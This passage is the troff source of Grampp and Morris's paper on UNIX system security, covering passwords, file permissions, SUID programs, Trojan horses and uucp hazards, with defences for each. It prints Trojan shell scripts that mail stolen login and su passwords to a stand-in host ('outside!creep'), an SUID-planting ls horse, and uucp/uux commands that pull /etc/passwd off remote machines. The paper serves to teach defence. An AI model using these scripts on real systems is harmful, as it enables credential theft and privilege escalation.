|
|
1.1 ! root 1: .so ../ADM/mac ! 2: .XX security 543 "UNIX System Security" ! 3: .de DL ! 4: .IP \(em 3n ! 5: .. ! 6: .TL ! 7: .UX ! 8: System Security\(dg ! 9: .AU ! 10: F. T. Grampp ! 11: .AI ! 12: .MH ! 13: .AU ! 14: R. H. Morris ! 15: .AI ! 16: .WH ! 17: .AB ! 18: Computing systems that are easy to access and that facilitate ! 19: communication with other systems are by their nature difficult ! 20: to secure. ! 21: Most often, though, the level of security that is actually ! 22: achieved is far below what it could be. ! 23: This is due to many factors, the most important of which are ! 24: the knowledge and attitudes of the administrators and users ! 25: of such systems. ! 26: .PP ! 27: We discuss here some of the security hazards of the ! 28: .UX ! 29: system, and ! 30: suggest ways to protect against them, in the hope that an ! 31: educated community of users will lead to a level of protection ! 32: that is stronger, but far more important, which represents a ! 33: reasonable and thoughtful balance between security ! 34: and ease of use of the system. ! 35: We will not construct parallel examples for other systems, ! 36: but we encourage readers to do so for themselves. ! 37: .AE ! 38: .2C ! 39: .FS ! 40: \(dg This is a reformatted version of |reference(grampp morris bstj). ! 41: Morris is currently Chief Scientist at the NSA. ! 42: .FE ! 43: .NH ! 44: Introduction ! 45: .PP ! 46: This paper is aimed primarily at a ! 47: technical audience and for that very reason, ! 48: its usefulness ! 49: as a tutorial for increased computer ! 50: system security is diminished. ! 51: By far the most important handles to computer ! 52: security and, indeed, to information security ! 53: generally, are the following: ! 54: .DL ! 55: physical control of one's premises ! 56: and computer facilities ! 57: .DL ! 58: management commitment to security ! 59: objectives ! 60: .DL ! 61: education of employees as to what ! 62: is expected of them ! 63: .DL ! 64: the existence of administrative ! 65: procedures aimed at increased security ! 66: .PP ! 67: Unless each of these basics is in place, ! 68: all of the technical solutions, the special hardware, ! 69: the software ! 70: safeguards, and the like are utterly meaningless. ! 71: We will not address these issues to any great ! 72: extent in this paper, but we mean to stress our ! 73: firm conviction that no level of security whatever ! 74: can be achieved without them. ! 75: .PP ! 76: In discussing the status of security on the ! 77: various versions of the ! 78: .UX ! 79: system, we will ! 80: try to place our observations in a wider context ! 81: than just the ! 82: .UX ! 83: system or one particular version of the ! 84: .UX ! 85: system. ! 86: As to whether ! 87: .UX ! 88: system security is better or worse ! 89: than that of other systems, it is neither better ! 90: nor worse. ! 91: Any system that provides the same facilities as ! 92: the ! 93: .UX ! 94: system ! 95: will necessarily have similar hazards. ! 96: From its inception, the ! 97: .UX ! 98: system was designed to be ! 99: user-friendly and most decisions which pitted security ! 100: against ease of use were heavily weighted in favor ! 101: of ease of use. ! 102: The result has been that the ! 103: .UX ! 104: system has become a fertile ! 105: test bed for the development of reasonable security ! 106: procedures that interfere to the minimum possible ! 107: extent with ease of use. ! 108: .PP ! 109: The major weakness of any information system such ! 110: as the ! 111: .UX ! 112: system resides in the habits and attitudes of the ! 113: user community. ! 114: Naivete and carelessness will produce awful security ! 115: under almost any conditions. ! 116: .PP ! 117: It is easy to run a secure computer system. ! 118: You merely have to disconnect all dial-up ! 119: connections and permit only direct-wired ! 120: terminals, put the machine and its terminals ! 121: in a shielded room, and post a guard at the door. ! 122: There are in fact many examples of ! 123: .UX ! 124: systems that ! 125: are run under exactly these conditions, principally ! 126: systems that contain classified or sensitive defense ! 127: information. ! 128: .PP ! 129: There are a number of options, implemented either in ! 130: hardware or in software, that provide a measure of ! 131: security that is almost this good. ! 132: Examples are systems that only respond to a dial-up ! 133: call by calling back on a preassigned number. ! 134: Many commercially available operating systems make it ! 135: essentially impossible to create or install any ! 136: user software or application software without administrative ! 137: help; some other systems make it virtually impossible ! 138: to read files belonging to another user, even when ! 139: the users want to cooperate in their work. ! 140: All these measures ! 141: work by restricting access to the system and by reducing ! 142: the powers that the system gives its users. The ! 143: .UX ! 144: system ! 145: was designed to increase, not decrease the power and flexibility ! 146: available to its users. It was designed to be easily ! 147: accessible and to facilitate communication within ! 148: its user community. Most ! 149: .UX ! 150: systems, not surprisingly, ! 151: are of the dialup variety. ! 152: They provide their users with a general ! 153: programming ability - to create, install, ! 154: and use their own programs. ! 155: All but a few of their files ! 156: are at least readable by anybody, and most of them have ! 157: access to thousands of other systems via remote mail and ! 158: file transfer facilities. That is, they use the ! 159: .UX ! 160: system as ! 161: its creators intended it to be used. ! 162: .PP ! 163: Such `open' systems cannot ever be made secure in any strong sense. ! 164: That is, they are unfit for applications involving classified ! 165: government information, corporate accounting, ! 166: records relating to individual privacy, and the like. ! 167: Security, though, is not an absolute matter; ! 168: there are tolerable levels of insecurity ! 169: and there are balances to be struck, not only between security ! 170: and accessibility but also between the cost of security ! 171: measures and the risk or exposure associated with ! 172: the information being protected. ! 173: By ! 174: homely analogy, most family silverware is stored in a ! 175: cabinet in a house with a lockable door. It is not ! 176: stored in a box on the front lawn for obvious reasons, ! 177: but neither is it stored in a bank vault, where it ! 178: would be much safer than at home, but where it could ! 179: not easily be used and enjoyed. The insecurity of ! 180: keeping it at home is both tolerable and appropriate. ! 181: (Neither of the authors, by the way, keep any silver in their homes.) ! 182: More homely yet as an example, the notion that firewood, ! 183: though a commodity of considerable value, might be ! 184: stored in a bank vault, is simply ludicrous. ! 185: The same balances are appropriate when it is information ! 186: that is being protected. ! 187: .PP ! 188: Most ! 189: .UX ! 190: systems are far less secure than they can ! 191: and should be. This unwarranted insecurity is largely ! 192: caused by complacency and by the use of concealment ! 193: as a security measure. ! 194: The administrators don't want word of gaping holes going ! 195: out the door. The bad guys agree, but for different ! 196: reasons. This attitude produces an unhealthy situation in which ! 197: administrators and users alike are uninformed about ! 198: security issues. ! 199: Much silverware is left on the lawn, and only the ! 200: bad guys are well informed about the exposure and ! 201: the risks. ! 202: .PP ! 203: Concealment is not security. The intent of this article is ! 204: to survey at least the better-known security hazards ! 205: associated with the ! 206: .UX ! 207: system, and to suggest ways in which ! 208: security can be improved without greatly ! 209: diminishing the ! 210: usefulness of the system to its authorized users. ! 211: .PP ! 212: Topics to be covered are these: ! 213: .DL ! 214: the insecure nature of passwords ! 215: .DL ! 216: protection of files ! 217: .DL ! 218: special privileges and responsibilities of administrators ! 219: .DL ! 220: burglary tools, and protection against them ! 221: .DL ! 222: networking hazards ! 223: .DL ! 224: data encryption ! 225: .PP ! 226: All these will be discussed in the context of ! 227: a community of users who are largely naive about security ! 228: issues. ! 229: .PP ! 230: There is nothing in the above list that is specific to the ! 231: .UX ! 232: system. All of the problems that will be discussed here ! 233: are system-dependent instances of far more general problems ! 234: that appear in other forms on other systems. It is inappropriate ! 235: to construct parallel exhibits from other systems here, ! 236: but readers might find it rewarding to do this themselves. ! 237: .PP ! 238: Finally, there was more than a little trepidation about ! 239: publishing this article. There is a fine line between ! 240: helping administrators protect their systems and providing ! 241: a cookbook for creeps. ! 242: The consensus of the authors and ! 243: reviewers is that the information presented here is well-known: ! 244: the bad guys know it well, and a more favorable distribution ! 245: of this knowledge is desirable. ! 246: .NH ! 247: Password Security ! 248: .PP ! 249: The most important and usually the only barrier to the ! 250: unauthorized use of a ! 251: .UX ! 252: system is the password that ! 253: a user must utter in order to gain access to the system. ! 254: Much attention has been paid to making the ! 255: .UX ! 256: password ! 257: scheme as secure as possible against would-be ! 258: intruders |reference(morris thompson cacm). ! 259: The result is a password file in which only encrypted ! 260: passwords are kept. A person logging into the system is ! 261: asked for a password. The password is then encrypted ! 262: with a one-way transformation, ! 263: and compared to the encrypted password ! 264: previously stored in the file. ! 265: Access ! 266: is permitted only if the two match. ! 267: An advantage of this system of password control ! 268: is that there is no record anywhere of the user's ! 269: password. ! 270: .PP ! 271: No method appears to be known to extract a user's ! 272: password from the encrypted version that is stored. ! 273: The one-way ! 274: encryption has proven to be good enough to thwart a brute-force attack. ! 275: In practice, it is easy to ! 276: write programs that are extremely successful at extracting ! 277: passwords from password files, and that are also very ! 278: economical to run. ! 279: They operate, however, by an indirect method that ! 280: amounts to guessing ! 281: what a user's password might be, and then ! 282: trying over and over until the ! 283: correct one is found. ! 284: .PP ! 285: Such programs are commonly called `password crackers'. ! 286: They were virtually unknown five years ago, but are ! 287: widely known today. They work by encrypting a good guess ! 288: as to what a person's password might be, and comparing ! 289: this with the encrypted password in the file. Good ! 290: guesses can be made without any personal knowledge of ! 291: the people listed in the password file, since the ! 292: file itself provides clues. Each line therein contains, ! 293: in addition to the encrypted password, the user's login ! 294: name, home directory, login shell, and perhaps some ! 295: comments. ! 296: .PP ! 297: The most important clue is the login name. People who ! 298: are naive about security issues very often use login ! 299: names or variants thereof as passwords. For example, ! 300: if the login name is `abc', then `abc', `cba' and ! 301: `abcabc' are excellent candidates for passwords. Experiments ! 302: involving over a hundred password files have shown that ! 303: a program that uses only these three guesses requires ! 304: several minutes of minicomputer time to process a typical ! 305: password file, and can be counted on to deliver between ! 306: 8 and 30 percent of the passwords in cases where neither ! 307: users nor system administrators have been security ! 308: conscious. ! 309: .PP ! 310: Other clues can also be had from the password file. ! 311: There is a `comments' field that is used in most systems ! 312: to provide information about a user. It usually contains ! 313: things like surname, given name, address, telephone ! 314: number, project name, and so on, all of which can be ! 315: extremely rewarding to try. ! 316: .PP ! 317: Finally, if an intruder knows something about the people ! 318: using a machine, a whole new set of candidates is available. ! 319: Family and friends' names, auto registration numbers, ! 320: hobbies and pets are particularly productive categories ! 321: to try interactively in the unlikely event that a purely ! 322: mechanical scan of the password file turns out to be ! 323: disappointing. ! 324: .PP ! 325: Once the hazards are known, remedial steps can be taken ! 326: to bolster password security. The following are known to ! 327: be helpful: ! 328: .DL ! 329: Make it difficult for outsiders to obtain a copy of ! 330: a machine's password file. An intruder who is denied ! 331: a copy of the file must resort to dialing into the ! 332: target machine and making guesses interactively via ! 333: the normal login sequence. This takes much more time ! 334: than simply running a cracker program on one's own ! 335: machine. ! 336: Actual login attempts are likely to be expensive, ! 337: and ! 338: greatly increase the chance that the intrusion attempt ! 339: will be discovered ! 340: by audit software. ! 341: There is, of course, little that ! 342: can be done to prevent a malicious insider from shipping ! 343: the file out the door; ! 344: but at least steps should be taken that an ! 345: outsider cannot use networking arrangements ! 346: to remotely cause the password file to be ! 347: shipped out. ! 348: .DL ! 349: Remove the encrypted passwords from the password file ! 350: and place them in a parallel file that is unreadable ! 351: to the general public and to networking programs like ! 352: .I uucp . ! 353: A considerate touch here is to replace the ! 354: encrypted fields in the password file with random strings of ! 355: the proper length and in the alphabet of encrypted ! 356: passwords. This has the potential for not interfering with ! 357: legitimate programs that might use the file, ! 358: and wasting large amounts of an intruder's time. ! 359: .DL ! 360: Likewise, keep the comment field elsewhere. Besides ! 361: removing useful clues, this has the benign side-effect ! 362: of shortening the password file considerably, thereby ! 363: speeding up programs like ! 364: .I ls ! 365: that search it sequentially. ! 366: .DL ! 367: Modify the ! 368: .I passwd ! 369: program to prevent users from installing ! 370: easily derivable passwords such as `abcabc'. ! 371: .DL ! 372: Educate users about bad passwords and good passwords. ! 373: One recipe for good passwords is to pick some common ! 374: word that is easily remembered but in no way associated ! 375: with its owner and then to botch it in some way so ! 376: that it will not be found in a dictionary, e.g., by ! 377: misspelling it, adding punctuation, and so on. An ! 378: alternative approach is to assign passwords to users, ! 379: rather than letting them choose their own. Both methods ! 380: have weaknesses. Left to their own ways, some people ! 381: will still use cute doggie names as passwords. ! 382: What is far more serious is that if randomly generated ! 383: passwords are assigned, most people will write them ! 384: down somewhere, often in very obvious places. The ! 385: former approach seems to be the safer. ! 386: .PP ! 387: It takes continuing ingenuity to keep up with ! 388: prevailing silly practices in choosing passwords. ! 389: Several years ago, new software was distributed ! 390: that required all new passwords to contain at least ! 391: six characters and to contain at least one ! 392: non-alphabetic character. ! 393: (In fact, it rejected both purely alphabetic and ! 394: purely numeric passwords.) ! 395: The authors made a survey of several dozen local ! 396: machines, using as trial passwords a collection of ! 397: the twenty most common female first names, each followed ! 398: by a single digit. ! 399: The total number of passwords tried was, therefore, ! 400: two hundred. ! 401: At least one of these two hundred passwords turned out to ! 402: be a valid password on every machine surveyed. ! 403: .NH ! 404: Files And File Systems ! 405: .PP ! 406: Every file in a ! 407: .UX ! 408: file system has associated with it a set ! 409: of permissions that specifies who can access the file and how. ! 410: The permissions are kept in a 9-bit field that is part of a ! 411: variable called ! 412: .I mode , ! 413: which is part of a larger structure ! 414: called an ! 415: .I inode ! 416: that describes the file. There is a one-to-one correspondence ! 417: between files and inodes. (To simplify ! 418: matters, no distinction will be made between ordinary files, ! 419: directories and special files unless needed.) ! 420: .PP ! 421: The permission bits specify read, write and execute permissions ! 422: for the owner of the file, others in the owner's group, and ! 423: everybody else. In ! 424: .UX ! 425: software and writings about it, the ! 426: permissions field is most often presented as either a three-digit ! 427: octal number or a nine-character string. For example, ! 428: the mode of a file that can be read, written or executed by ! 429: its owner, read and executed by members of the owner's group, ! 430: and read by everybody else would be 754 or ! 431: .CW rwxr-xr-- . ! 432: Both notations will be used here, as appropriate. ! 433: .PP ! 434: The algorithm used to determine permissions is this: ! 435: .P1 0 ! 436: if(user is owner){ ! 437: if(permissions are set) it's ok ! 438: else quit. ! 439: } ! 440: .P3 ! 441: if(user is in owner's group){ ! 442: if(permissions are set) it's ok ! 443: else quit. ! 444: } ! 445: .P3 ! 446: if(permissions are set) it's ok. ! 447: .P2 ! 448: .PP ! 449: Note especially that the algorithm does not look for all ! 450: possible conditions, in a hierarchical sense, in which a ! 451: user might have access to a file. This is done so that a ! 452: person can create a file whose access permissions are not ! 453: `kept in the family'. For instance, a file whose mode is ! 454: set to ! 455: 007 ! 456: .CW ------rwx ) ( ! 457: can be read, written and executed by anyone ! 458: except its owner and members of its owner's group. ! 459: .PP ! 460: All such permission checking is bypassed if the user is ! 461: the super-user. ! 462: .PP ! 463: Two additional things must be mentioned about directories. ! 464: First, since a directory cannot be executed, the bits that ! 465: would be used to specify execute permissions are instead ! 466: used to specify search permissions, that is, the ability ! 467: to climb into a directory or to use it as a component of ! 468: a path name. Second, underlying directory ! 469: permissions can adversely affect the safety of seemingly ! 470: protected files. Suppose ! 471: .CW d ! 472: is a directory whose mode is ! 473: 730 that contains a file ! 474: .CW f ! 475: of mode 644, that both ! 476: .CW d ! 477: and ! 478: .CW f ! 479: have the same owner and group, and ! 480: .CW f ! 481: contains the text ! 482: .CW something . ! 483: Disregarding the super-user, no one besides ! 484: the owner of ! 485: .CW f ! 486: can change its contents, since only the ! 487: owner has write permission. Notice, though, that anyone ! 488: in the owner's group has write permission for ! 489: .CW d , ! 490: so that ! 491: any such person can remove ! 492: .CW f ! 493: from ! 494: .CW d ! 495: and install a different ! 496: version: ! 497: .P1 ! 498: rm d/f ! 499: echo something else >d/f ! 500: .P2 ! 501: which for most purposes is the equivalent of being able to ! 502: modify ! 503: .CW f . ! 504: Further, had ! 505: .CW f ! 506: been a directory rather than a ! 507: file, the same person could have moved it (and all of its ! 508: contents) elsewhere and replaced it with an entirely new ! 509: structure. Thus to ensure that a file cannot be modified, ! 510: it is necessary that ! 511: .IP \ \ \ \(bu ! 512: The file itself must be write-protected. ! 513: .IP \ \ \ \(bu ! 514: The directory containing it, and all lower directories, ! 515: must be similarly protected. ! 516: .IP \ \ \ \(bu ! 517: Group permissions must be considered. This last is especially ! 518: important if most of the users of a system are in the ! 519: same group, as is the default case on most ! 520: .UX ! 521: systems. ! 522: .LP ! 523: The mode of an existing file can be changed with the ! 524: .I chmod ! 525: command, or, from a C program, by using the system call ! 526: of the same name. The ownership of a file is changed by using ! 527: the ! 528: .I chown ! 529: command or system call. Some versions of ! 530: .UX ! 531: restrict ! 532: .I chown ! 533: to the super-user. Others also permit the owner of a file ! 534: to give it away to someone else. The latter convention provides ! 535: an opportunity for fraud on systems whose users are charged ! 536: for their disk space, but there is also a subtler problem that ! 537: will be discussed in the next section. ! 538: .PP ! 539: Finally, when a file is created, it is given the owner and ! 540: group ids of the user who created it, and a mode that corresponds to ! 541: an argument of the creat or open system call, modified by ! 542: a user-supplied parameter called a ! 543: .I umask . ! 544: This parameter ! 545: is also a nine-bit field, each of whose bits specifies that ! 546: the corresponding permission bit not be set, i.e., the ! 547: resulting permission field is the logical and of the file creation ! 548: mask and the one's complement of the umask. A user's umask is set ! 549: to some default value at login time, and can subsequently be ! 550: modified by the user via the umask command or system call. ! 551: Simple prudence about accident protection suggests a default ! 552: umask of 022, which makes files unwritable except by their ! 553: owners. ! 554: .PP ! 555: The tree of directories and files that makes up a ! 556: .UX ! 557: file ! 558: system is just a logical structure that is mapped onto a physical ! 559: device \(em a disk \(em in order to make it easy for people to ! 560: use the disk. If the physical disk can be written or read, ! 561: so can any file in the file system that resides on the disk. ! 562: All that is needed is a little knowledge and effort. It follows ! 563: then that the special files that permit access to the physical ! 564: disk should be accessible only to the super-user if file ! 565: protections are to be worth much. In practice, this rule is ! 566: usually relaxed so that the disks are writable only by the ! 567: super-user, but that they can also be read by some administrative ! 568: group. ! 569: .PP ! 570: Finally, access to programs' working storage on a machine is ! 571: available via the special files ! 572: .CW /dev/mem ! 573: (memory) and ! 574: .CW /dev/kmem ! 575: (kernel memory). Write permission for memory allows ! 576: a process to modify itself in any way, including giving ! 577: itself super-user privileges. Read permission allows it to ! 578: inspect things like the standard input and output of other ! 579: processes. Hence the same precautions that apply to physical ! 580: disk access apply here also. ! 581: .PP ! 582: There is more to be said about files and file systems, and ! 583: more will be said later on, after a few pitfalls have been ! 584: dissected to provide some background. ! 585: .NH ! 586: SUID Programs ! 587: .PP ! 588: The ! 589: .I set-userid ! 590: facility is a novel and ! 591: useful feature in the ! 592: .UX ! 593: system|reference(ritchie setuid patent). ! 594: It allows a program ! 595: to be constructed in such a way that the userid, groupid ! 596: or both of the user who executes the program to be changed ! 597: temporarily for the duration of the program's execution. ! 598: .PP ! 599: This makes it trivially easy to write programs that would be ! 600: difficult or impossible to implement on other operating systems. ! 601: Any user can set up a game that keeps a score file that is ! 602: normally protected from others but is open for writing and ! 603: reading to anyone who is currently playing the game. Programs ! 604: like ! 605: .I ps ! 606: that show what is going on in the system (by reading ! 607: operating system memory locations) and ! 608: .I df ! 609: that shows disk utilization (by reading ! 610: the physical disk) and ! 611: .I passwd ! 612: that lets a user write in the ! 613: password file to change a password are similarly easy to write. ! 614: .PP ! 615: Two bits in the mode of a file in which a program is kept ! 616: determine whether the program will be of the SUID variety. ! 617: These are kept in an octal digit just to the left of the ! 618: permission bits. Octal 4xxx changes the userid to that of ! 619: the program's owner. Octal 2xxx changes the group id to that of the ! 620: owner's group. ! 621: As with ! 622: the permissions, these bits are set by chmod. ! 623: .PP ! 624: If any user of the system were free to issue the following ! 625: sequence of commands: ! 626: .P1 ! 627: cp /bin/sh a.out ! 628: chmod 4777 a.out ! 629: chown root a.out ! 630: .P2 ! 631: .LP ! 632: the result would be a shell that would give ! 633: super-user privileges to anyone who executed it. The danger is obvious, ! 634: and is disabled by the design of the chown and chmod commands ! 635: and system calls. The disablement takes one of two forms depending ! 636: on the version of ! 637: .UX . ! 638: .IP ! 639: If the version of ! 640: .UX ! 641: restricts chown to the superuser, ! 642: there is no problem. ! 643: .IP ! 644: If the version permits a user to give away files, chown ! 645: first knocks down the SUID bits before changing ownership. ! 646: .LP ! 647: The clear danger is taken care of, but the feature is by no means ! 648: tame. Over the years it has provided truly horrid security flaws ! 649: in various versions of the system. ! 650: Some early versions of the ! 651: .I mail ! 652: command, which ran as ! 653: super-user so as to be able to write in protected mailboxes, could ! 654: be coaxed to do things like appending lines to the password file. ! 655: Some versions of ! 656: .I login , ! 657: when invoked after all available file ! 658: descriptors were in use, would log a user in as the super-user. ! 659: Sending a `quit' signal to a running SUID program would produce a writable SUID file ! 660: called ! 661: .CW core , ! 662: suitable for debugging and other things. The list ! 663: is long, but the point is made: the SUID facility is a very powerful ! 664: tool, and like all powerful tools it must be handled with care. ! 665: Here are some hints about care. ! 666: .DL ! 667: SUID programs should be used only when there is no other ! 668: way to get a desired result. On most ! 669: .UX ! 670: systems, perhaps ! 671: a dozen SUID programs, excluding games, are really needed. ! 672: A lax attitude about SUID programs, combined with a `quick ! 673: and dirty' programming style, can produce disasters. As an ! 674: example, a security audit on a system on which a number of people ! 675: working on the same project had need to write in each other's files ! 676: turned up an alarming fact. The people involved knew next to ! 677: nothing about how to use groups and were too lazy to learn, ! 678: so they resorted to SUID programs instead. About 200 of these ! 679: were found. Half of these were owned by the super-user, and ! 680: most of these were writable by others, including one called ! 681: a.out whose permission field was 777. Unfortunately, such ! 682: sloppiness is not rare. ! 683: .DL ! 684: It is difficult, when writing all but the most trivial programs, ! 685: to determine in advance that the program will be correct. Programs ! 686: sometimes do the most amazing things in unforeseen circumstances. ! 687: When designing and writing SUID programs, it is particularly ! 688: important to pay attention to simplicity of function and cleanliness ! 689: of implementation, since unexpected behavior can easily produce ! 690: security holes. ! 691: .DL ! 692: Escapes from SUID programs \(em child processes that are given ! 693: a shell \(em are highly unrecommended. If these can't be avoided, ! 694: the designer must carefully consider the consequences of inherited ! 695: files, signals, the shell's environment, and so on. ! 696: Some systems provide a `restricted shell' whose capabilities ! 697: are somewhat less than those of the standard shell. The restrictions ! 698: are useful in reducing the accident rate among data-entry clerks ! 699: and in similar applications. ! 700: Using a restricted shell to contain an intruder is rash. Most of these are about as ! 701: restrictive as childproof bottle caps. ! 702: .DL ! 703: SUID programs that are writable by anyone besides their owners ! 704: should be considered threatening. ! 705: .DL ! 706: System administrators should verify that the SUID programs that ! 707: are supplied with the system are clean, i.e., that the source ! 708: has not been tampered with to provide new features, and that ! 709: the binaries have been compiled from the clean source. ! 710: This last precaution is necessary but not sufficient. ! 711: Thompson|reference(thompson cacm trust) has shown that compilers can be infected ! 712: so as to modify the code that they compile, without ! 713: leaving visible traces of the modification in any ! 714: source code, even that for the compiler. In practice, ! 715: such compiler viruses are likely to be rare, simply ! 716: because they require much more skill and effort than ! 717: other tampering techniques. ! 718: .NH ! 719: Trojan Horses ! 720: .PP ! 721: A favorite tool of the intruder is the Trojan horse. ! 722: As the name implies, a Trojan horse is a program that ! 723: an intruder gives to an unsuspecting user of a system. ! 724: It does what it is obviously supposed to do, but it also ! 725: quietly performs some malfeasance on behalf of the intruder. ! 726: The technique has been around for thousands of years, ! 727: and it still works splendidly. Here are some modern instances. ! 728: .PP ! 729: Ritchie|reference(ritchie security) shows a non-cryptanalytic way of finding out ! 730: passwords as follows: ``Write a program which types out ! 731: .CW login: ! 732: on the typewriter and copies whatever is typed ! 733: to a file of your own. Then invoke the command and go away ! 734: until the victim arrives.'' At first glance, this seems ! 735: to be a case of some legitimate user of a system coveting ! 736: a neighbor's password, but in fact there are more interesting ! 737: applications. Also implied is that the horse must faithfully ! 738: simulate the non-trivial login command, which is a lot of work. ! 739: Actually, all that is needed is to simulate an unsuccessful ! 740: login attempt, as if the user had made a typing mistake, and ! 741: that is a horse of a different color: ! 742: .P1 ! 743: echo -n "login: " ! 744: read X ! 745: stty -echo ! 746: echo -n "Password: " ! 747: read Y ! 748: echo "" ! 749: stty echo ! 750: echo $X $Y | mail outside!creep& ! 751: sleep 1 ! 752: echo Login incorrect ! 753: stty 0 >/dev/tty ! 754: .P2 ! 755: .PP ! 756: The shell script is simplicity itself, with a few kindnesses ! 757: added to make its victim feel more at home. It asks for a ! 758: login name and then a password, mails these to the bad guy, ! 759: announces failure and hangs up the phone. The user then dials ! 760: the computer, gets a real login command, carefully types ! 761: what is asked for, and goes about business as usual, unaware ! 762: of the swindle. Note that there was no requirement that the ! 763: horse be planted on the target machine, and in practice this ! 764: will likely not be the case. ! 765: .PP ! 766: Once on the target machine, the intruder can use similar horses ! 767: to acquire the privileges of other users. One of the most ! 768: frequently used commands on ! 769: .UX ! 770: systems is ! 771: .I ls , ! 772: which is ! 773: .UX ! 774: shorthand for ``tell me some things about these files.'' ! 775: .I Ls ! 776: can be used in many contexts and with many ! 777: options, but as was the case with ! 778: .I login , ! 779: a trivialized version ! 780: can give joy to an intruder: ! 781: .P1 ! 782: >somewhere/.harmless ! 783: chmod 6777 somewhere/.harmless ! 784: sleep 2 ! 785: echo "{ls: not found" ! 786: rm ls ! 787: .P2 ! 788: .PP ! 789: It is placed in an executable file named ! 790: .I ls ! 791: in any writable directory that the victim will ! 792: search for commands before looking in ! 793: .CW /bin . ! 794: When executed, ! 795: it creates a writable file called ! 796: .CW .harmless ! 797: in some far ! 798: corner of the machine, with the SUID bits turned on ! 799: in the file's permission mask. It then prints ! 800: .CW "{ls: not found" , ! 801: erases itself, and exits. ! 802: .PP ! 803: The ! 804: .CW { ! 805: is indicative of a noisy telephone line. People are ! 806: used to it, and will automatically retype a command that gets ! 807: such a hit. When the command is retyped, the horse is gone, and ! 808: the real ! 809: .I ls ! 810: is executed. Sometime later, the intruder will ! 811: copy the shell into ! 812: .CW .harmless , ! 813: execute it, and assume ! 814: the identity of the victim. ! 815: .PP ! 816: The most desirable identity for the intruder to assume is ! 817: that of the super-user. System administrators acquire ! 818: super-user privileges by executing a program called ! 819: .I su . ! 820: The ! 821: .I su ! 822: command asks for the root password and bestows system-wide privileges ! 823: to those who type it correctly. A horse named ! 824: .I su , ! 825: placed ! 826: where it will be executed by a system administrator, can ! 827: usually be relied on to send a gift within hours: ! 828: .P1 ! 829: stty -echo ! 830: echo -n "Password: " ! 831: read X ! 832: echo "" ! 833: stty echo ! 834: .P3 ! 835: echo $X | mail outside!creep& ! 836: sleep 1 ! 837: echo Sorry. ! 838: rm su ! 839: .P2 ! 840: .PP ! 841: Horses like this are easy to make and can be custom-tailored ! 842: to suit a wide variety of applications. Knowing how they ! 843: work suggests ways to defend against them: ! 844: .DL ! 845: In order for horses like ! 846: .I ls ! 847: and ! 848: .I su ! 849: to work, they must be ! 850: planted in places where they will be executed by their ! 851: intended victims. The operating system searches for commands ! 852: in a sequence of directories named in a string called ! 853: PATH that is associated with each user. PATH is set each ! 854: time a user logs in, and may be modified in the course of ! 855: the terminal session. Typically, it specifies the user's ! 856: current working directory, perhaps a private directory, ! 857: .CW /bin ! 858: and ! 859: .CW /usr/bin , ! 860: usually in that order. If the directories ! 861: that are searched prior to ! 862: .CW /bin ! 863: are not writable by the ! 864: intruder, the horse cannot be planted. Such protection is ! 865: most important for system administrators. A secondary level ! 866: of protection can be achieved by having peoples' ! 867: .CW .profile ! 868: files unreadable, so that an intruder is not shown the ! 869: intended victim's initial PATH setting. This turns ! 870: out to be a minor nuisance, and offers little additional protection, ! 871: as vulnerable PATH components can be deduced in other ways. ! 872: .DL ! 873: Modifying the (real) ! 874: .I su ! 875: program so that it insists upon ! 876: being invoked by a full path name is very effective. The ! 877: change is trivial; the program needs only to check that ! 878: the first character of its 0th argument is ! 879: .CW / . ! 880: Legitimate ! 881: users very quickly fall into the habit of typing ! 882: .CW /bin/su ! 883: rather than ! 884: .CW su ! 885: thereby guaranteeing that the `official' ! 886: version gets executed, regardless of whether a horse is ! 887: nearby. A further recommended change to ! 888: .I su ! 889: is that on successful ! 890: invocation it changes the PATH string so that only ! 891: .CW /bin ! 892: and ! 893: .CW /usr/bin ! 894: will be searched for commands. This prevents ! 895: nonstandard versions of commands like ! 896: .I ls ! 897: from being executed ! 898: with super-user privileges. ! 899: .DL ! 900: There is no defense against the ! 901: .I login ! 902: horse except user ! 903: education. Anyone who walks up to a previously unattended ! 904: terminal that says ! 905: .CW login: ! 906: and types in the keys to the ! 907: machine is fair game. ! 908: .NH ! 909: Networking ! 910: .PP ! 911: Several times in the previous discussion it was tacitly ! 912: assumed that files pertaining to the security of a system, ! 913: in particular the password file, might very well be ! 914: available to an intruder who had not yet managed to ! 915: penetrate the system. It turns out that the same ! 916: communications programs that facilitate the exchange of ! 917: ideas and information among people on different machines ! 918: can, unless great care is taken, be used to subvert a ! 919: machine from a safe distance. ! 920: .PP ! 921: The ! 922: .I uucp |reference(uucp nowitz lesk v7man) ! 923: program makes it possible to copy files ! 924: from one ! 925: .UX ! 926: system to another, and is the workhorse of ! 927: .UX ! 928: networking. Indeed, the ease of information ! 929: interchange by way of ! 930: .I uucp ! 931: and programs like ! 932: .I mail ! 933: that ! 934: use it, accounts for much of the usefulness and popularity ! 935: of the ! 936: .UX ! 937: system. The problem with ! 938: .I uucp ! 939: is that if ! 940: left unrestricted, it will let any outside user ! 941: execute any commands and copy out/in any file that is ! 942: readable/writable by a uucp login user. It is up to ! 943: the individual sites to be aware of this and apply the ! 944: protections that they feel are necessary|reference(latest uucp administration). ! 945: If the administrator of a site is naive or inattentive, ! 946: getting a password file from that site can be as ! 947: easy as typing ! 948: .P1 0 ! 949: uucp -m target!/etc/passwd gift ! 950: .P2 ! 951: to copy the remote machine's password file to a local ! 952: file called ! 953: .CW gift . ! 954: (The ! 955: .CW -m ! 956: option is a convenience, ! 957: not a necessity. It causes ! 958: .I uucp ! 959: to send mail to the ! 960: intruder when the gift has arrived.) Three years ago, ! 961: this ploy was almost certain to succeed. Today, many ! 962: (but not all) systems have restrictions on which files ! 963: can be accessed and by whom. Typically, they restrict ! 964: access to a directory reserved for that purpose: ! 965: .CW /usr/spool/uucppublic . ! 966: .PP ! 967: If the direct approach is spurned, ! 968: .I uux ! 969: might be tried. ! 970: .I uux ! 971: is a program that is part of the uucp system. ! 972: It causes execution of programs to take place on remote ! 973: systems. Its main use \(em in practice, almost its only ! 974: use \(em is to start up the mail delivery machinery on ! 975: a remote system after ! 976: .I uucp ! 977: has delivered the mail files ! 978: to a spooling area. Like ! 979: .I uucp ! 980: though, it has full ! 981: generality built in, and it may be possible to successfully ! 982: execute a command like: ! 983: .P1 0 ! 984: uux "target!cat </etc/passwd ! 985: >/usr/spool/uucppublic/x" ! 986: .P2 ! 987: .PP ! 988: This copies the password file to the remote machine's ! 989: spool directory, from which it can later be plucked. ! 990: Like ! 991: .I uucp , ! 992: .I uux ! 993: may have some restrictions, but there is ! 994: a difference: to ensure `generality', the remote system ! 995: passes the arguments of ! 996: .I uux ! 997: to a shell for interpretation ! 